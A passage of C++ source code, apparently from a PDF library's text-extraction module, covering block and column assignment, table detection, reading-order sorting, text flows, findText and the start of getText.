word0 = word1; word1 = word1->next; } } } minBase = newMinBase; // look for words on the line below the current bottom edge of // the block newMaxBase = maxBase; for (baseIdx = pool->getBaseIdx(maxBase); baseIdx <= pool->getBaseIdx(maxBase + lineSpace); ++baseIdx) { word0 = NULL; word1 = pool->getPool(baseIdx); while (word1) { if (word1->base > maxBase && word1->base <= maxBase + lineSpace && ((rot == 0 || rot == 2) ? (word1->xMin < blk->xMax && word1->xMax > blk->xMin) : (word1->yMin < blk->yMax && word1->yMax > blk->yMin)) && fabs(word1->fontSize - fontSize) < maxBlockFontSizeDelta1 * fontSize) { word2 = word1; if (word0) { word0->next = word1->next; } else { pool->setPool(baseIdx, word1->next); } word1 = word1->next; word2->next = NULL; blk->addWord(word2); found = gTrue; newMaxBase = word2->base; } else { word0 = word1; word1 = word1->next; } } } maxBase = newMaxBase; // look for words that are on lines already in the block, and // that overlap the block horizontally for (baseIdx = pool->getBaseIdx(minBase - intraLineSpace); baseIdx <= pool->getBaseIdx(maxBase + intraLineSpace); ++baseIdx) { word0 = NULL; word1 = pool->getPool(baseIdx); while (word1) { if (word1->base >= minBase - intraLineSpace && word1->base <= maxBase + intraLineSpace && ((rot == 0 || rot == 2) ? (word1->xMin < blk->xMax + colSpace1 && word1->xMax > blk->xMin - colSpace1) : (word1->yMin < blk->yMax + colSpace1 && word1->yMax > blk->yMin - colSpace1)) && fabs(word1->fontSize - fontSize) < maxBlockFontSizeDelta2 * fontSize) { word2 = word1; if (word0) { word0->next = word1->next; } else { pool->setPool(baseIdx, word1->next); } word1 = word1->next; word2->next = NULL; blk->addWord(word2); found = gTrue; } else { word0 = word1; word1 = word1->next; } } } // only check for outlying words (the next two chunks of code) // if we didn't find anything else if (found) { continue; } // scan down the left side of the block, looking for words // that are near (but not overlapping) the block; if there are // three or fewer, add them to the block n = 0; for (baseIdx = pool->getBaseIdx(minBase - intraLineSpace); baseIdx <= pool->getBaseIdx(maxBase + intraLineSpace); ++baseIdx) { word1 = pool->getPool(baseIdx); while (word1) { if (word1->base >= minBase - intraLineSpace && word1->base <= maxBase + intraLineSpace && ((rot == 0 || rot == 2) ? (word1->xMax <= blk->xMin && word1->xMax > blk->xMin - colSpace2) : (word1->yMax <= blk->yMin && word1->yMax > blk->yMin - colSpace2)) && fabs(word1->fontSize - fontSize) < maxBlockFontSizeDelta3 * fontSize) { ++n; break; } word1 = word1->next; } } if (n > 0 && n <= 3) { for (baseIdx = pool->getBaseIdx(minBase - intraLineSpace); baseIdx <= pool->getBaseIdx(maxBase + intraLineSpace); ++baseIdx) { word0 = NULL; word1 = pool->getPool(baseIdx); while (word1) { if (word1->base >= minBase - intraLineSpace && word1->base <= maxBase + intraLineSpace && ((rot == 0 || rot == 2) ? (word1->xMax <= blk->xMin && word1->xMax > blk->xMin - colSpace2) : (word1->yMax <= blk->yMin && word1->yMax > blk->yMin - colSpace2)) && fabs(word1->fontSize - fontSize) < maxBlockFontSizeDelta3 * fontSize) { word2 = word1; if (word0) { word0->next = word1->next; } else { pool->setPool(baseIdx, word1->next); } word1 = word1->next; word2->next = NULL; blk->addWord(word2); if (word2->base < minBase) { minBase = word2->base; } else if (word2->base > maxBase) { maxBase = word2->base; } found = gTrue; break; } else { word0 = word1; word1 = word1->next; } } } } // scan down the right side of the block, looking for words // that are near (but not overlapping) the block; if there are // three or fewer, add them to the block n = 0; for (baseIdx = pool->getBaseIdx(minBase - intraLineSpace); baseIdx <= pool->getBaseIdx(maxBase + intraLineSpace); ++baseIdx) { word1 = pool->getPool(baseIdx); while (word1) { if (word1->base >= minBase - intraLineSpace && word1->base <= maxBase + intraLineSpace && ((rot == 0 || rot == 2) ? (word1->xMin >= blk->xMax && word1->xMin < blk->xMax + colSpace2) : (word1->yMin >= blk->yMax && word1->yMin < blk->yMax + colSpace2)) && fabs(word1->fontSize - fontSize) < maxBlockFontSizeDelta3 * fontSize) { ++n; break; } word1 = word1->next; } } if (n > 0 && n <= 3) { for (baseIdx = pool->getBaseIdx(minBase - intraLineSpace); baseIdx <= pool->getBaseIdx(maxBase + intraLineSpace); ++baseIdx) { word0 = NULL; word1 = pool->getPool(baseIdx); while (word1) { if (word1->base >= minBase - intraLineSpace && word1->base <= maxBase + intraLineSpace && ((rot == 0 || rot == 2) ? (word1->xMin >= blk->xMax && word1->xMin < blk->xMax + colSpace2) : (word1->yMin >= blk->yMax && word1->yMin < blk->yMax + colSpace2)) && fabs(word1->fontSize - fontSize) < maxBlockFontSizeDelta3 * fontSize) { word2 = word1; if (word0) { word0->next = word1->next; } else { pool->setPool(baseIdx, word1->next); } word1 = word1->next; word2->next = NULL; blk->addWord(word2); if (word2->base < minBase) { minBase = word2->base; } else if (word2->base > maxBase) { maxBase = word2->base; } found = gTrue; break; } else { word0 = word1; word1 = word1->next; } } } } } while (found); //~ need to compute the primary writing mode (horiz/vert) in //~ addition to primary rotation // coalesce the block, and add it to the list blk->coalesce(uMap, fixedPitch); if (lastBlk) { lastBlk->next = blk; } else { blkList = blk; } lastBlk = blk; count[rot] += blk->charCount; ++nBlocks; } if (count[rot] > count[primaryRot]) { primaryRot = rot; } } #if 0 // for debugging printf("*** rotation ***\n"); for (rot = 0; rot < 4; ++rot) { printf(" %d: %6d\n", rot, count[rot]); } printf(" primary rot = %d\n", primaryRot); printf("\n"); #endif #if 0 // for debugging printf("*** blocks ***\n"); for (blk = blkList; blk; blk = blk->next) { printf("block: rot=%d x=%.2f..%.2f y=%.2f..%.2f\n", blk->rot, blk->xMin, blk->xMax, blk->yMin, blk->yMax); for (line = blk->lines; line; line = line->next) { printf(" line: x=%.2f..%.2f y=%.2f..%.2f base=%.2f\n", line->xMin, line->xMax, line->yMin, line->yMax, line->base); for (word0 = line->words; word0; word0 = word0->next) { printf(" word: x=%.2f..%.2f y=%.2f..%.2f base=%.2f fontSize=%.2f space=%d: '", word0->xMin, word0->xMax, word0->yMin, word0->yMax, word0->base, word0->fontSize, word0->spaceAfter); for (i = 0; i < word0->len; ++i) { fputc(word0->text[i] & 0xff, stdout); } printf("'\n"); } } } printf("\n"); #endif // determine the primary direction lrCount = 0; for (blk = blkList; blk; blk = blk->next) { for (line = blk->lines; line; line = line->next) { for (word0 = line->words; word0; word0 = word0->next) { for (i = 0; i < word0->len; ++i) { if (unicodeTypeL(word0->text[i])) { ++lrCount; } else if (unicodeTypeR(word0->text[i])) { --lrCount; } } } } } primaryLR = lrCount >= 0; #if 0 // for debugging printf("*** direction ***\n"); printf("lrCount = %d\n", lrCount); printf("primaryLR = %d\n", primaryLR); #endif //----- column assignment // sort blocks into xy order for column assignment if (blocks) gfree (blocks); if (physLayout && fixedPitch) { blocks = (TextBlock **)gmallocn(nBlocks, sizeof(TextBlock *)); for (blk = blkList, i = 0; blk; blk = blk->next, ++i) { blocks[i] = blk; col1 = 0; // make gcc happy switch (primaryRot) { case 0: col1 = (int)(blk->xMin / fixedPitch + 0.5); break; case 1: col1 = (int)(blk->yMin / fixedPitch + 0.5); break; case 2: col1 = (int)((pageWidth - blk->xMax) / fixedPitch + 0.5); break; case 3: col1 = (int)((pageHeight - blk->yMax) / fixedPitch + 0.5); break; } blk->col = col1; for (line = blk->lines; line; line = line->next) { for (j = 0; j <= line->len; ++j) { line->col[j] += col1; } } } } else { // sort blocks into xy order for column assignment blocks = (TextBlock **)gmallocn(nBlocks, sizeof(TextBlock *)); for (blk = blkList, i = 0; blk; blk = blk->next, ++i) { blocks[i] = blk; } qsort(blocks, nBlocks, sizeof(TextBlock *), &TextBlock::cmpXYPrimaryRot); // column assignment for (i = 0; i < nBlocks; ++i) { blk0 = blocks[i]; col1 = 0; for (j = 0; j < i; ++j) { blk1 = blocks[j]; col2 = 0; // make gcc happy switch (primaryRot) { case 0: if (blk0->xMin > blk1->xMax) { col2 = blk1->col + blk1->nColumns + 3; } else if (blk1->xMax == blk1->xMin) { col2 = blk1->col; } else { col2 = blk1->col + (int)(((blk0->xMin - blk1->xMin) / (blk1->xMax - blk1->xMin)) * blk1->nColumns); } break; case 1: if (blk0->yMin > blk1->yMax) { col2 = blk1->col + blk1->nColumns + 3; } else if (blk1->yMax == blk1->yMin) { col2 = blk1->col; } else { col2 = blk1->col + (int)(((blk0->yMin - blk1->yMin) / (blk1->yMax - blk1->yMin)) * blk1->nColumns); } break; case 2: if (blk0->xMax < blk1->xMin) { col2 = blk1->col + blk1->nColumns + 3; } else if (blk1->xMin == blk1->xMax) { col2 = blk1->col; } else { col2 = blk1->col + (int)(((blk0->xMax - blk1->xMax) / (blk1->xMin - blk1->xMax)) * blk1->nColumns); } break; case 3: if (blk0->yMax < blk1->yMin) { col2 = blk1->col + blk1->nColumns + 3; } else if (blk1->yMin == blk1->yMax) { col2 = blk1->col; } else { col2 = blk1->col + (int)(((blk0->yMax - blk1->yMax) / (blk1->yMin - blk1->yMax)) * blk1->nColumns); } break; } if (col2 > col1) { col1 = col2; } } blk0->col = col1; for (line = blk0->lines; line; line = line->next) { for (j = 0; j <= line->len; ++j) { line->col[j] += col1; } } } } #if 0 // for debugging printf("*** blocks, after column assignment ***\n"); for (blk = blkList; blk; blk = blk->next) { printf("block: rot=%d x=%.2f..%.2f y=%.2f..%.2f col=%d nCols=%d\n", blk->rot, blk->xMin, blk->xMax, blk->yMin, blk->yMax, blk->col, blk->nColumns); for (line = blk->lines; line; line = line->next) { printf(" line: col[0]=%d\n", line->col[0]); for (word0 = line->words; word0; word0 = word0->next) { printf(" word: x=%.2f..%.2f y=%.2f..%.2f base=%.2f fontSize=%.2f space=%d: '", word0->xMin, word0->xMax, word0->yMin, word0->yMax, word0->base, word0->fontSize, word0->spaceAfter); for (i = 0; i < word0->len; ++i) { fputc(word0->text[i] & 0xff, stdout); } printf("'\n"); } } } printf("\n"); #endif //----- reading order sort // compute space on left and right sides of each block for (i = 0; i < nBlocks; ++i) { blk0 = blocks[i]; for (j = 0; j < nBlocks; ++j) { blk1 = blocks[j]; if (blk1 != blk0) { blk0->updatePriMinMax(blk1); } } } #if 0 // for debugging printf("PAGE\n"); #endif int sortPos = 0; GBool *visited = (GBool *)gmallocn(nBlocks, sizeof(GBool)); for (i = 0; i < nBlocks; i++) { visited[i] = gFalse; } double bxMin0, byMin0, bxMin1, byMin1; int numTables = 0; int tableId = -1; int correspondenceX, correspondenceY; double xCentre1, yCentre1, xCentre2, yCentre2; double xCentre3, yCentre3, xCentre4, yCentre4; double deltaX, deltaY; TextBlock *fblk2 = NULL, *fblk3 = NULL, *fblk4 = NULL; for (blk1 = blkList; blk1; blk1 = blk1->next) { blk1->ExMin = blk1->xMin; blk1->ExMax = blk1->xMax; blk1->EyMin = blk1->yMin; blk1->EyMax = blk1->yMax; bxMin0 = DBL_MAX; byMin0 = DBL_MAX; bxMin1 = DBL_MAX; byMin1 = DBL_MAX; fblk2 = NULL; fblk3 = NULL; fblk4 = NULL; /* find fblk2, fblk3 and fblk4 so that * fblk2 is on the right of blk1 and overlap with blk1 in y axis * fblk3 is under blk1 and overlap with blk1 in x axis * fblk4 is under blk1 and on the right of blk1 * and they are closest to blk1 */ for (blk2 = blkList; blk2; blk2 = blk2->next) { if (blk2 != blk1) { if (blk2->yMin <= blk1->yMax && blk2->yMax >= blk1->yMin && blk2->xMin > blk1->xMax && blk2->xMin < bxMin0) { bxMin0 = blk2->xMin; fblk2 = blk2; } else if (blk2->xMin <= blk1->xMax && blk2->xMax >= blk1->xMin && blk2->yMin > blk1->yMax && blk2->yMin < byMin0) { byMin0 = blk2->yMin; fblk3 = blk2; } else if (blk2->xMin > blk1->xMax && blk2->xMin < bxMin1 && blk2->yMin > blk1->yMax && blk2->yMin < byMin1) { bxMin1 = blk2->xMin; byMin1 = blk2->yMin; fblk4 = blk2; } } } /* fblk4 can not overlap with fblk3 in x and with fblk2 in y * fblk2 can not overlap with fblk3 in x and y * fblk4 has to overlap with fblk3 in y and with fblk2 in x */ if (fblk2 != NULL && fblk3 != NULL && fblk4 != NULL) { if (((fblk3->xMin <= fblk4->xMax && fblk3->xMax >= fblk4->xMin) || (fblk2->yMin <= fblk4->yMax && fblk2->yMax >= fblk4->yMin) || (fblk2->xMin <= fblk3->xMax && fblk2->xMax >= fblk3->xMin) || (fblk2->yMin <= fblk3->yMax && fblk2->yMax >= fblk3->yMin)) || !(fblk4->xMin <= fblk2->xMax && fblk4->xMax >= fblk2->xMin && fblk4->yMin <= fblk3->yMax && fblk4->yMax >= fblk3->yMin)) { fblk2 = NULL; fblk3 = NULL; fblk4 = NULL; } } // if we found any then look whether they form a table if (fblk2 != NULL && fblk3 != NULL && fblk4 != NULL) { tableId = -1; correspondenceX = 0; correspondenceY = 0; deltaX = 0.0; deltaY = 0.0; if (blk1->lines && blk1->lines->words) deltaX = blk1->lines->words->getFontSize(); if (fblk2->lines && fblk2->lines->words) deltaX = deltaX < fblk2->lines->words->getFontSize() ? deltaX : fblk2->lines->words->getFontSize(); if (fblk3->lines && fblk3->lines->words) deltaX = deltaX < fblk3->lines->words->getFontSize() ? deltaX : fblk3->lines->words->getFontSize(); if (fblk4->lines && fblk4->lines->words) deltaX = deltaX < fblk4->lines->words->getFontSize() ? deltaX : fblk4->lines->words->getFontSize(); deltaY = deltaX; deltaX *= minColSpacing1; deltaY *= maxIntraLineDelta; xCentre1 = (blk1->xMax + blk1->xMin) / 2.0; yCentre1 = (blk1->yMax + blk1->yMin) / 2.0; xCentre2 = (fblk2->xMax + fblk2->xMin) / 2.0; yCentre2 = (fblk2->yMax + fblk2->yMin) / 2.0; xCentre3 = (fblk3->xMax + fblk3->xMin) / 2.0; yCentre3 = (fblk3->yMax + fblk3->yMin) / 2.0; xCentre4 = (fblk4->xMax + fblk4->xMin) / 2.0; yCentre4 = (fblk4->yMax + fblk4->yMin) / 2.0; // are blocks centrally aligned in x ? if (fabs (xCentre1 - xCentre3) <= deltaX && fabs (xCentre2 - xCentre4) <= deltaX) correspondenceX++; // are blocks centrally aligned in y ? if (fabs (yCentre1 - yCentre2) <= deltaY && fabs (yCentre3 - yCentre4) <= deltaY) correspondenceY++; // are blocks aligned to the left ? if (fabs (blk1->xMin - fblk3->xMin) <= deltaX && fabs (fblk2->xMin - fblk4->xMin) <= deltaX) correspondenceX++; // are blocks aligned to the right ? if (fabs (blk1->xMax - fblk3->xMax) <= deltaX && fabs (fblk2->xMax - fblk4->xMax) <= deltaX) correspondenceX++; // are blocks aligned to the top ? if (fabs (blk1->yMin - fblk2->yMin) <= deltaY && fabs (fblk3->yMin - fblk4->yMin) <= deltaY) correspondenceY++; // are blocks aligned to the bottom ? if (fabs (blk1->yMax - fblk2->yMax) <= deltaY && fabs (fblk3->yMax - fblk4->yMax) <= deltaY) correspondenceY++; // are blocks aligned in x and y ? if (correspondenceX > 0 && correspondenceY > 0) { // find maximal tableId tableId = tableId < fblk4->tableId ? fblk4->tableId : tableId; tableId = tableId < fblk3->tableId ? fblk3->tableId : tableId; tableId = tableId < fblk2->tableId ? fblk2->tableId : tableId; tableId = tableId < blk1->tableId ? blk1->tableId : tableId; // if the tableId is -1, then we found new table if (tableId < 0) { tableId = numTables; numTables++; } blk1->tableId = tableId; fblk2->tableId = tableId; fblk3->tableId = tableId; fblk4->tableId = tableId; } } } /* set extended bounding boxes of all table entries * so that they contain whole table * (we need to process whole table size when comparing it * with regular text blocks) */ PDFRectangle *envelopes = new PDFRectangle [numTables]; TextBlock **ending_blocks = new TextBlock* [numTables]; for (i = 0; i < numTables; i++) { envelopes[i].x1 = DBL_MAX; envelopes[i].x2 = DBL_MIN; envelopes[i].y1 = DBL_MAX; envelopes[i].y2 = DBL_MIN; } for (blk1 = blkList; blk1; blk1 = blk1->next) { if (blk1->tableId >= 0) { if (blk1->ExMin < envelopes[blk1->tableId].x1) { envelopes[blk1->tableId].x1 = blk1->ExMin; if (!blk1->page->primaryLR) ending_blocks[blk1->tableId] = blk1; } if (blk1->ExMax > envelopes[blk1->tableId].x2) { envelopes[blk1->tableId].x2 = blk1->ExMax; if (blk1->page->primaryLR) ending_blocks[blk1->tableId] = blk1; } envelopes[blk1->tableId].y1 = blk1->EyMin < envelopes[blk1->tableId].y1 ? blk1->EyMin : envelopes[blk1->tableId].y1; envelopes[blk1->tableId].y2 = blk1->EyMax > envelopes[blk1->tableId].y2 ? blk1->EyMax : envelopes[blk1->tableId].y2; } } for (blk1 = blkList; blk1; blk1 = blk1->next) { if (blk1->tableId >= 0 && blk1->xMin <= ending_blocks[blk1->tableId]->xMax && blk1->xMax >= ending_blocks[blk1->tableId]->xMin) { blk1->tableEnd = gTrue; } } for (blk1 = blkList; blk1; blk1 = blk1->next) { if (blk1->tableId >= 0) { blk1->ExMin = envelopes[blk1->tableId].x1; blk1->ExMax = envelopes[blk1->tableId].x2; blk1->EyMin = envelopes[blk1->tableId].y1; blk1->EyMax = envelopes[blk1->tableId].y2; } } delete[] envelopes; delete[] ending_blocks; /* set extended bounding boxes of all other blocks * so that they extend in x without hitting neighbours */ for (blk1 = blkList; blk1; blk1 = blk1->next) { if (!(blk1->tableId >= 0)) { double xMax = DBL_MAX; double xMin = DBL_MIN; for (blk2 = blkList; blk2; blk2 = blk2->next) { if (blk2 == blk1) continue; if (blk1->yMin <= blk2->yMax && blk1->yMax >= blk2->yMin) { if (blk2->xMin < xMax && blk2->xMin > blk1->xMax) xMax = blk2->xMin; if (blk2->xMax > xMin && blk2->xMax < blk1->xMin) xMin = blk2->xMax; } } for (blk2 = blkList; blk2; blk2 = blk2->next) { if (blk2 == blk1) continue; if (blk2->xMax > blk1->ExMax && blk2->xMax <= xMax && blk2->yMin >= blk1->yMax) { blk1->ExMax = blk2->xMax; } if (blk2->xMin < blk1->ExMin && blk2->xMin >= xMin && blk2->yMin >= blk1->yMax) blk1->ExMin = blk2->xMin; } } } i = -1; for (blk1 = blkList; blk1; blk1 = blk1->next) { i++; sortPos = blk1->visitDepthFirst(blkList, i, blocks, sortPos, visited); } if (visited) { gfree(visited); } #if 0 // for debugging printf("*** blocks, after ro sort ***\n"); for (i = 0; i < nBlocks; ++i) { blk = blocks[i]; printf("block: rot=%d x=%.2f..%.2f y=%.2f..%.2f space=%.2f..%.2f\n", blk->rot, blk->xMin, blk->xMax, blk->yMin, blk->yMax, blk->priMin, blk->priMax); for (line = blk->lines; line; line = line->next) { printf(" line:\n"); for (word0 = line->words; word0; word0 = word0->next) { printf(" word: x=%.2f..%.2f y=%.2f..%.2f base=%.2f fontSize=%.2f space=%d: '", word0->xMin, word0->xMax, word0->yMin, word0->yMax, word0->base, word0->fontSize, word0->spaceAfter); for (j = 0; j < word0->len; ++j) { fputc(word0->text[j] & 0xff, stdout); } printf("'\n"); } } } printf("\n"); fflush(stdout); #endif // build the flows //~ this needs to be adjusted for writing mode (vertical text) //~ this also needs to account for right-to-left column ordering flow = NULL; while (flows) { flow = flows; flows = flows->next; delete flow; } flows = lastFlow = NULL; // assume blocks are already in reading order, // and construct flows accordingly. for (i = 0; i < nBlocks; i++) { blk = blocks[i]; blk->next = NULL; if (flow) { blk1 = blocks[i - 1]; blkSpace = maxBlockSpacing * blk1->lines->words->fontSize; if (blk1->secondaryDelta(blk) <= blkSpace && blk->isBelow(blk1) && flow->blockFits(blk, blk1)) { flow->addBlock(blk); continue; } } flow = new TextFlow(this, blk); if (lastFlow) { lastFlow->next = flow; } else { flows = flow; } lastFlow = flow; } #if 0 // for debugging printf("*** flows ***\n"); for (flow = flows; flow; flow = flow->next) { printf("flow: x=%.2f..%.2f y=%.2f..%.2f pri:%.2f..%.2f\n", flow->xMin, flow->xMax, flow->yMin, flow->yMax, flow->priMin, flow->priMax); for (blk = flow->blocks; blk; blk = blk->next) { printf(" block: rot=%d x=%.2f..%.2f y=%.2f..%.2f pri=%.2f..%.2f\n", blk->rot, blk->ExMin, blk->ExMax, blk->EyMin, blk->EyMax, blk->priMin, blk->priMax); for (line = blk->lines; line; line = line->next) { printf(" line:\n"); for (word0 = line->words; word0; word0 = word0->next) { printf(" word: x=%.2f..%.2f y=%.2f..%.2f base=%.2f fontSize=%.2f space=%d: '", word0->xMin, word0->xMax, word0->yMin, word0->yMax, word0->base, word0->fontSize, word0->spaceAfter); for (i = 0; i < word0->len; ++i) { fputc(word0->text[i] & 0xff, stdout); } printf("'\n"); } } } } printf("\n"); #endif if (uMap) { uMap->decRefCnt(); } } GBool TextPage::findText(Unicode *s, int len, GBool startAtTop, GBool stopAtBottom, GBool startAtLast, GBool stopAtLast, GBool caseSensitive, GBool backward, GBool wholeWord, double *xMin, double *yMin, double *xMax, double *yMax) { TextBlock *blk; TextLine *line; Unicode *s2, *txt, *reordered; Unicode *p; int txtSize, m, i, j, k; double xStart, yStart, xStop, yStop; double xMin0, yMin0, xMax0, yMax0; double xMin1, yMin1, xMax1, yMax1; GBool found; if (rawOrder) { return gFalse; } // handle right-to-left text reordered = (Unicode*)gmallocn(len, sizeof(Unicode)); reorderText(s, len, NULL, primaryLR, NULL, reordered); // normalize the search string s2 = unicodeNormalizeNFKC(reordered, len, &len, NULL); // convert the search string to uppercase if (!caseSensitive) { for (i = 0; i < len; ++i) { s2[i] = unicodeToUpper(s2[i]); } } txt = NULL; txtSize = 0; xStart = yStart = xStop = yStop = 0; if (startAtLast && haveLastFind) { xStart = lastFindXMin; yStart = lastFindYMin; } else if (!startAtTop) { xStart = *xMin; yStart = *yMin; } if (stopAtLast && haveLastFind) { xStop = lastFindXMin; yStop = lastFindYMin; } else if (!stopAtBottom) { xStop = *xMax; yStop = *yMax; } found = gFalse; xMin0 = xMax0 = yMin0 = yMax0 = 0; // make gcc happy xMin1 = xMax1 = yMin1 = yMax1 = 0; // make gcc happy for (i = backward ? nBlocks - 1 : 0; backward ? i >= 0 : i < nBlocks; i += backward ? -1 : 1) { blk = blocks[i]; // check: is the block above the top limit? // (this only works if the page's primary rotation is zero -- // otherwise the blocks won't be sorted in the useful order) if (!startAtTop && primaryRot == 0 && (backward ? blk->yMin > yStart : blk->yMax < yStart)) { continue; } // check: is the block below the bottom limit? // (this only works if the page's primary rotation is zero -- // otherwise the blocks won't be sorted in the useful order) if (!stopAtBottom && primaryRot == 0 && (backward ? blk->yMax < yStop : blk->yMin > yStop)) { break; } for (line = blk->lines; line; line = line->next) { // check: is the line above the top limit? // (this only works if the page's primary rotation is zero -- // otherwise the lines won't be sorted in the useful order) if (!startAtTop && primaryRot == 0 && (backward ? line->yMin > yStart : line->yMin < yStart)) { continue; } // check: is the line below the bottom limit? // (this only works if the page's primary rotation is zero -- // otherwise the lines won't be sorted in the useful order) if (!stopAtBottom && primaryRot == 0 && (backward ? line->yMin < yStop : line->yMin > yStop)) { continue; } if (!line->normalized) line->normalized = unicodeNormalizeNFKC(line->text, line->len, &line->normalized_len, &line->normalized_idx, true); // convert the line to uppercase m = line->normalized_len; if (!caseSensitive) { if (m > txtSize) { txt = (Unicode *)greallocn(txt, m, sizeof(Unicode)); txtSize = m; } for (k = 0; k < m; ++k) { txt[k] = unicodeToUpper(line->normalized[k]); } } else { txt = line->normalized; } // search each position in this line j = backward ? m - len : 0; p = txt + j; while (backward ? j >= 0 : j <= m - len) { if (!wholeWord || ((j == 0 || !unicodeTypeAlphaNum(txt[j - 1])) && (j + len == m || !unicodeTypeAlphaNum(txt[j + len])))) { // compare the strings for (k = 0; k < len; ++k) { if (p[k] != s2[k]) { break; } } // found it if (k == len) { // where s2 matches a subsequence of a compatibility equivalence // decomposition, highlight the entire glyph, since we don't know // the internal layout of subglyph components int normStart = line->normalized_idx[j]; int normAfterEnd = line->normalized_idx[j + len - 1] + 1; switch (line->rot) { case 0: xMin1 = line->edge[normStart]; xMax1 = line->edge[normAfterEnd]; yMin1 = line->yMin; yMax1 = line->yMax; break; case 1: xMin1 = line->xMin; xMax1 = line->xMax; yMin1 = line->edge[normStart]; yMax1 = line->edge[normAfterEnd]; break; case 2: xMin1 = line->edge[normAfterEnd]; xMax1 = line->edge[normStart]; yMin1 = line->yMin; yMax1 = line->yMax; break; case 3: xMin1 = line->xMin; xMax1 = line->xMax; yMin1 = line->edge[normAfterEnd]; yMax1 = line->edge[normStart]; break; } if (backward) { if ((startAtTop || yMin1 < yStart || (yMin1 == yStart && xMin1 < xStart)) && (stopAtBottom || yMin1 > yStop || (yMin1 == yStop && xMin1 > xStop))) { if (!found || yMin1 > yMin0 || (yMin1 == yMin0 && xMin1 > xMin0)) { xMin0 = xMin1; xMax0 = xMax1; yMin0 = yMin1; yMax0 = yMax1; found = gTrue; } } } else { if ((startAtTop || yMin1 > yStart || (yMin1 == yStart && xMin1 > xStart)) && (stopAtBottom || yMin1 < yStop || (yMin1 == yStop && xMin1 < xStop))) { if (!found || yMin1 < yMin0 || (yMin1 == yMin0 && xMin1 < xMin0)) { xMin0 = xMin1; xMax0 = xMax1; yMin0 = yMin1; yMax0 = yMax1; found = gTrue; } } } } } if (backward) { --j; --p; } else { ++j; ++p; } } } } gfree(s2); gfree(reordered); if (!caseSensitive) { gfree(txt); } if (found) { *xMin = xMin0; *xMax = xMax0; *yMin = yMin0; *yMax = yMax0; lastFindXMin = xMin0; lastFindYMin = yMin0; haveLastFind = gTrue; return gTrue; } return gFalse; } GooString *TextPage::getText(double xMin, double yMin, double xMax, double yMax) { GooString *s; UnicodeMap *uMap; TextBlock *blk; TextLine *line; TextLineFrag *frags; int nFrags, fragsSize; TextLineFrag *frag; char space[8], eol[16]; int spaceLen, eolLen; int lastRot; double x, y, delta; int col, idx0, idx1, i, j; GBool multiLine, oneRot; s = new GooString(); // get the output encoding if (!(uMap = globalParams->getTextEncoding())) { return s; } if (rawOrder) { TextWord* word; char mbc[16]; int mbc_len; for (word = rawWords; word && word <= rawLastWord; word = word->next) { for (j = 0; j < word->getLength(); ++j) { double gXMin, gXMax, gYMin, gYMax; word->getCharBBox(j, &gXMin, &gYMin, &gXMax, &gYMax); if (xMin <= gXMin && gXMax <= xMax && yMin <= gYMin && gYMax <= yMax) { mbc_len = uMap->mapUnicode( *(word->getChar(j)), mbc, sizeof(mbc) ); s->append(mbc, mbc_len); } } } return s; } spaceLen = uMap->mapUnicode(0x20, space, sizeof(space)); eolLen = 0; // make gcc happy switch (globalParams->getTextEOL()) { case eolUnix: eolLen = uMap->mapUnicode(0x0a, eol, sizeof(eol)); break; case eolDOS: eolLen = uMap->mapUnicode(0x0d, eol, sizeof(eol)); eolLen += uMap->mapUnicode(0x0a, eol + eolLen, sizeof(eol) - eolLen); break; case eolMac: eolLen = uMap->mapUnicode(0x0d, eol, sizeof(eol)); break; } //~ writing mode (horiz/vert) // collect the line fragments that are in the rectangle fragsSize = 256; frags = (TextLineFrag *)gmallocn(fragsSize, sizeof(TextLineFrag)); nFrags = 0; lastRot = -1; oneRot = gTrue; for (i = 0; i < nBlocks; ++i) { blk = blocks[i]; if (xMin < blk->xMax && blk->xMin < xMax && yMin < blk->yMax && blk->yMin < yMax) { for (line = blk->lines; line; line = line->next) { if (xMin < line->xMax && line->xMin < xMax && yMin < line->yMax && line->yMin < yMax) { idx0 = idx1 = -1; switch (line->rot) { case 0: y = 0.5 * (line->yMin + line->yMax); if (yMin < y && y < yMax) { j = 0; while (j < line->len) { if (0.5 * (line->edge[j] + line->edge[j+1]) > xMin) { idx0 = j; break; } ++j; } j = line->len - 1; while (j >= 0) { if (0.5 * (line->edge[j] + line->edge[j+1]) < xMax) { idx1 = j; break; } --j; } } break; case 1: x = 0.5 * (line->xMin + line->xMax); if (xMin < x && x < xMax) { j = 0; while (j < line->len) { if (0.5 * (line->edge[j] + line->edge[j+1]) > yMin) { idx0 = j; break; } ++j; } j = line->len - 1; while (j >= 0) { if (0.5 * (line->edge[j] + line->edge[j+1]) < yMax) { idx1 = j; break; } --j; } } break; case 2: y = 0.5 * (line->yMin + line->yMax); if (yMin < y && y < yMax) { j = 0; while (j < line->len) { if (0.5 * (line->edge[j] + line->edge[j+1]) < xMax) { idx0 = j; break; } ++j; } j = line->len - 1; while (j >= 0) { if (0.5 * (line->edge[j] + line->edge[j+1]) > xMin) { idx1 = j; break; } --j; } } break; case 3: x = 0.5 * (line->xMin + line->xMax); if (xMin < x && x < xMax) { j = 0; while (j < line->len) { if (0.5 * (line->edge[j] + line->edge[j+1]) < yMax) { idx0 = j; break; } ++j; } j = line->len - 1; while (j >= 0) { if (0.5 * (line->edge[j] + line->edge[j+1]) > yMin) { idx1 = j; break; } --j; } } break; } if (idx0 >= 0 && idx1 >= 0) { if (nFrags == fragsSize) { fragsSize *= 2; frags = (TextLineFrag *) greallocn(frags, fragsSize, sizeof(TextLineFrag)); } frags[nFrags].init(line, idx0, idx1 - idx0 + 1); ++nFrags; if (lastRot >= 0 && line->rot != lastRot) { oneRot = gFalse; } lastRot = line->rot; } } } } } // sort the fragments and generate the string if (nFrags > 0) { for (i = 0; i < nFrags; ++i) { frags[i].computeCoords(oneRot); } assignColumns(frags, nFrags, oneRot); // if all lines in the region have the same rotation, use it; // otherwise, use the page's primary rotation if (oneRot) { qsort(frags, nFrags, sizeof(TextLineFrag), &TextLineFrag::cmpYXLineRot); } else { qsort(frags, nFrags, sizeof(TextLineFrag), &TextLineFrag::cmpYXPrimaryRot); } i = 0; while (i < nFrags) { delta = maxIntraLineDelta * frags[i].line->words->fontSize; for (j = i+1; j < nFrags && fabs(frags[j].base - frags[i].base) < delta; ++j) ; qsort(frags + i, j - i, sizeof(TextLineFrag), oneRot ? &TextLineFrag::cmpXYColumnLineRot : &TextLineFrag::cmpXYColumnPrimaryRot); i = j; } col = 0; multiLine = gFalse; for (i = 0; i < nFrags; ++i) { frag = &frags[i]; // insert a return if (frag->col < col || (i > 0 && fabs(frag->base - frags[i-1].base) > maxIntraLineDelta * frags[i-1].line->words->fontSize)) { s->append(eol, eolLen); col = 0; multiLine = gTrue; } // column alignment for (; col < 